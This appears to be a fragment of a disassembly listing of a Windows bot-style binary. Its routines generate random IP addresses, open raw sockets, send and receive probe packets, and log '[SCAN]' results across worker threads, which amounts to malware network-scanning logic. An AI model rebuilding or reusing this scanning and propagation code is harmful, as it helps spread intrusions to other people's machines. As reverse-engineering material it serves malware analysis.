		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F40
		mov	ecx, offset dword_449968
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8085
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445438[eax*4]
		inc	ecx
		mov	dword_445438[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAB8
		nop
		call	sub_5F67AE
		mov	eax, offset dword_50FAB8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB60[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	dword_50DB60[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB60[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		call	near ptr 71AB94DCh
		nop
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	sub_5F67AE
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456F4


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27F0BB0h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF9Bh[eax*4]
		mov	eax, dword_44B19F[eax*4]
		mov	ecx, dword_50DB64[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5F67AE
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5F67AE
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FAA0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5F67AE
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FAA0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5F67AE
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:445408h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5F67AE
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5F67AE
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_445434[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 2840000h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB64[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 284012Ch
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB60[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FAA0
		call	near ptr 27A0000h
		nop
		push	offset dword_50FAA0
		nop
		call	near ptr 27A0858h


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB64[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5F67AE
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B19F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B1AF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B1AF[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27D0818h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5F67AE
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB64[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB64[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB60[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5F67AE
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB64[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FAA0
		nop
		call	near ptr 27A0000h


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		nop
		call	near ptr 284012Ch
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_4245E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



